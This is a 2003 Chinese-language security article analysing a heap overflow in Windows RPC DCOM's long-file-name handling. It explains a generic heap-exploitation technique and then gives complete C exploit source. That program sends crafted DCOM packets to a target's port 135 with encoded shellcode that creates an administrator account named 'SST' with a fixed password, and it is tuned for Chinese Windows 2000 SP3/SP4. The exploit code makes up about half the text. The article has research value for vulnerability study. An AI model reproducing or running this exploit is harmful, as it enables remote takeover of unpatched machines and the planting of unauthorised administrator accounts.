RPC文件名长度堆溢出分析及其通用性堆溢出攻击的一些发现创建时间:2003-09-20 更新时间:2003-09-21 文章属性:原创 文章提交:flashsky (flashsky1_at_sina.com) RPC文件名长度堆溢出分析及其通用性堆溢出攻击的一些发现 转摘请注明作者和安全焦点,启明星辰公司 作者:FLASHSKY SITE:WWW.XFOCUS.NET,WWW.VENUSTECH.COM.CN WWW.SHOPSKY.COM 邮件:flashsky@xfocus.org 作者单位:启明星辰积极防御实验室 感谢:eyas关于WINSOCKET使用堆的探讨。eyas@xfocus.org,BENJURRY的英文翻译和技术探讨,benjurry@xfocus.org 感谢所有XFOCUS的成员和启明星辰积极防御实验室的同事的支持和帮助. 1。RPC文件名远程堆溢出问题定位 RPC DCOM文件名堆溢出其实和上次哪个LSD溢出中的本地溢出接口和点都是一致的,只是一个是堆栈一个是堆,可以远程触发的是堆溢出。 触发原理: RPC DCOM会检查UNC中的服务器名,如果服务器名为本机NETBIOS名,IP,localhost,127.0.0.1就会解析后面的文件名导致堆溢出。 问题代码如下: .text:76151469 push 20Ah .text:7615146E push edi .text:7615146F push hHeap .text:76151475 call AllocHeap <------------------只分配了0X20A的堆 .text:7615147B mov edi, eax .text:7615147D test edi, edi .text:7615147F jnz short loc_76151491 .text:76151481 push [ebp+hMem] ; hMem .text:76151484 call ds:LocalFree .text:7615148A .text:7615148A loc_7615148A: ; CODE XREF: sub_761513C5+4Bj .text:7615148A mov eax, 8007000Eh .text:7615148F jmp short loc_761514B9 .text:76151491 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪? .text:76151491 .text:76151491 loc_76151491: ; CODE XREF: sub_761513C5+BAj .text:76151491 mov eax, [ebp+hMem] .text:76151494 push dword ptr [eax+18h] ; lpString2 .text:76151497 push edi ; lpString1 .text:76151498 call ds:lstrcpyW .text:7615149E push esi ; lpString2 .text:7615149F push edi ; lpString1 .text:761514A0 mov [esi], bx .text:761514A3 call ds:lstrcatW 《--------用lstrcat考入我们的文件名,未做长度检测,导致溢出, 由于使用lstrcat,使得SHELLCODE双字节里不能带0X00,0X00 2。通用性堆溢出攻击思路 通过覆盖堆管理结构,在堆释放的时候,可以覆盖一些SEH或函数返回地址获得控制权限,但是堆溢出一向都是公认难以通用化利用的, 因为HEAP溢出攻击里最麻烦的就是SHELLCODE的定位。由于堆地址不固定,而且在获得控制权限之后,几乎没有什么积存器和已知的内存来指 导堆缓冲区的地址,无法通过如JMP ESP这样的OPCODE来间接的获得调用地址,那么我们就真的无计可施了吗?答案是NO。 正常的堆管理结构时候,堆的内容和操作如下: 释放堆的内容:ADDR1 ADDR2 操作:MOV [ADDR2],ADDR1 MOV [ADDR1+4],ADDR2 当这样操作时候,把ADDR2改为SEH中的某个异常结构处理的地址,ADDR1就是我们SHELLCODE的地址,我们就能在异常处理的时候获得执 行权限。但是怎么定位SHELLCODE呢 其实通过研究,我们发现,在构造特定的堆管理结构的时候会产生如下的效果: 假设ADDR3是ADDR1的上级堆链表 释放堆的内容:ADDR1 ADDR2 操作:MOV [ADDR2],ADDR3 MOV [ADDR3],ADDR1 MOV [ADDR3+4],ADDR2 OK,由于ADDR3是系统通过机制自己去定位的,通过这种机制,我们就能在异常处理的时候执行到ADDR3所在地址的内容了,但是ADDR3地 址内的内容我们假设我们不能控制,但是由于MOV [ADDR3],ADDR1,我们可以通过ADDR1改写ADDR3的头8个自己可以控制的,这已经足够了,我们完全可 以利用他来实现JMP,跳转到我们真正的SHELLCODE上,一般ADDR3和ADDR1之间的大小就具体一个堆溢出是固定的,而且也可以通过大量的NOP来 暴力扩大这个区域,因此,只要能构造这样的堆管理结构,我们就可以说,通用实现堆溢出攻击是可行的。至少我们发现在RPC 长文件名堆溢出 中构造这样的堆管理结构实现这种通用堆溢出攻击是可行的。而且测试中确定对W2KSP3,SP4,构造这种堆管理结构都是存在的。 堆溢出通用化的具体机理参考《WINDOWS已释放堆结构覆盖利用和通用型堆溢出》一文。 附注:其实HDM的EXP也使用了这个方法,但是他由于未处理堆结构混乱以后的异常问题,所以还是很不容易成功。 3。RPC堆溢出攻击实现 其实很早,RPC堆溢出我就解决了SHELLCODE定位的问题,但是一直处理不料还有另一个问题,就是堆管理结构被破坏以后,我们在SHELLCODE执行在调用API时总会异常,特别是在 W2K+SP4+MS03-26补丁的系统上面,后来使用的解决的方法就是,使用系统中另外存在的一个堆替换掉PEB中系统默认的堆: mov eax,fs:[0x00000018] 〈---------PEB地址 mov eax,[eax+0x30] lea eax,[eax+0x18] 〈--------获得进程默认HEAP BASE地址 mov ebx,0x170000 mov [eax],ebx 〈-----------换成0X170000 注意,这里的0X170000只针对CN 2K+SP4+MS03-26有效,如果想更通用,可以使用HEAPCREATE在SHELLCODE里建立一个新的堆,然后再替换。 ######################################################### 此部分内容源自eyas的研究,eyas@xfocus.org 另外: 由于WINSOCKET调用的是GHEAP,这部分是在DLL初始化时指定为进程默认堆地址的,因此调用WINSOCKET的时候会出现堆异常,一般建议不使用 WINSOCK的SHELLCODE,或者自己的SHELLCODE去搜索GHEAP变量替换以后再调用API(由于GHEAP中的地址可能对所有版本不固定,这样可能丧失通用性)。 ######################################################### 我先开始使用WINSOCKET的SHELLCODE,就是替换默认HEAP BASE以后还异常的原因。 后来分析出《WINDOWS已释放堆结构覆盖利用和通用型堆溢出》以后,发现其实还有另外一种更通用就可以使用API不导致堆异常的方法就是恢复HEAP FREE LIST结构,由于被破坏的主要是释放堆连表的结构,可以取出链表进行分析,恢复成一个正常的释放堆链表,这样就比较通用而且可以使用任意API了,只是SHELLCODE的代码比较复杂,这里不再给出例子。 (说明:具体机理参考《WINDOWS已释放堆结构覆盖利用和通用型堆溢出》一文,因为异常是HEAP FREE堆LIST表被破坏而不是堆结构被破坏,我们可以取出FREE堆表进行分析判断问题,然后把他恢复成一个正常的堆表,大家研究一下从FREE堆里分配堆的代码就清楚,结合图,这个不难,而且可以做到很通用。 只要依次比较本表指向的下个表是否等于下个表指向的上个表,就能判断我们覆盖的地方,然后简单的把最后一个正常的下个链表的指针指向FREE HEAP LIST的头就可以解决了),或者直接点将这个链表头内容指向链表头,代表链表是空的。 申明: 下面就给出这样一个HEAP溢出的代码版本: 由于考虑到蠕虫制造者和脚本小子的危害,以下代码给出的不是非常通用的版本,但是根据我们前面给出的技术细节和方法,懂得技术的人可以自己编写出更通用和强大的代码。 针对系统: W2K+SP3+MS03-26 W2K+SP4+MS03-26 ADDR1:\xeb\x1e\x08\x00 这个地址实现的就是JMP 1E跳转到真正的SHELLCODE上 ADDR3:ADDR3在RPC里实际就是前面的UNC路径的服务器名那个堆,可以推导出JMP 1E就是在我们的SHELLCODE上了 针对W2K SERVER+SP3/SP4+MS03-26,这个机制都通用。 SP4成功几率很多,SP3在LOGIN状态下有时候不行,原因在于后面被覆盖的堆地址不是在已释放链表中。在以后的文章里,我们将继续探讨,如何通过我们的发包来控制堆的状态,制造这样一个已释放堆,更通用的利用这个漏洞。 需要注意的是根据不同的系统需要修改SEH的值 SHELLCODE是增加一个用户SST的,口令557,管理员用户组 /* RPCDCOM2.c ver1.1 copy by FLASHSKY <flashsky@xfocus.org> 2003.9.14 */ #include <stdio.h> #include <winsock2.h> #include <windows.h> #include <process.h> #include <string.h> #include <winbase.h> unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; unsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; unsigned char request3[]={ 0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00, 0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; unsigned char sccnsp3sp4[]= "\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00" "\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00" "\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e" "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" "\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2" //SHELLCODE ADD USER SST,密码557, administrator的用户组 "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D" "\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C" "\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99" "\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9" "\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6" "\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED" "\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE" "\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12" "\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED" "\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA" "\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB" "\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66" "\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81" "\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A" "\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3" "\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78" "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D" "\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99" "\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12" "\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99" "\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66" "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" "\x7f\x19\x95\xd5\x17\x53\xe6\x6a" "\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90" // "\x90\x90\x90\x90\x90\x90\x90\x90" "\x77\xe0\x43\x00\x00\x10\x5c\x00" "\xeb\x1e\x01\x00"// FOR CN SP3/SP4+-MS03-26 "\x4C\x14\xec\x77"// TOP SEH FOR CN W2K SP4,替换成你的SEH //填充,保证 UNC PATH LEN > 0X80*8 = 0X400,这样就是使用大对象处理了,原理参考我的《WINDOWS已释放堆结构覆盖利用和通用型堆溢出》一文 //一般方法参考我的《WINDOWS已释放堆结构覆盖利用和通用型堆溢出》 "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14" "\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA" "\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF" "\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99" "\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1" "\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7" "\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99" "\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA" "\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9" "\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1" "\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8" "\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99" "\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9" "\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99" "\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12" "\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98" "\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99" "\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12" "\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12" "\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA" "\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD" "\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A" "\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2" "\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12" "\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31" "\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66" "\x04\x04\x00\x70\x00\x04\x40" "\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00" "\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71"; unsigned char request4[]={ 0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; void main(int argc,char ** argv) { WSADATA WSAData; SOCKET sock; int len,len1; SOCKADDR_IN addr_in; short port=135; unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n"); printf("Code by FlashSky,Flashsky xfocus org\n"); printf("Welcome to our Site: http://www.xfocus.org\n"); printf("Welcome to our Site: http://www.venustech.com.cn\n"); if(argc!=2) { printf("%s targetIP \n",argv[0]); printf("for cn w2k server sp3/sp4+ms03-26\n"); } if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:%d\n",WSAGetLastError()); return; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:%d\n",WSAGetLastError()); return; } len1=sizeof(request1); len=sizeof(sccnsp3sp4); if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); return; } memcpy(buf2,request1,sizeof(request1)); *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sccnsp3sp4)/2; //计算文件名双字节长度 *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sccnsp3sp4)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); len1=len1+sizeof(request2); memcpy(buf2+len1,sccnsp3sp4,sizeof(sccnsp3sp4)); len1=len1+sizeof(sccnsp3sp4); memcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); len1=len1+sizeof(request4); *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc; //计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc; *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc; *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc; *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc; *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc; *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc; *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc; if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); return; } len=recv(sock,buf1,1000,NULL); if (send(sock,buf2,len1,0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); return; } // len=recv(sock,buf1,1024,NULL); } /* */ |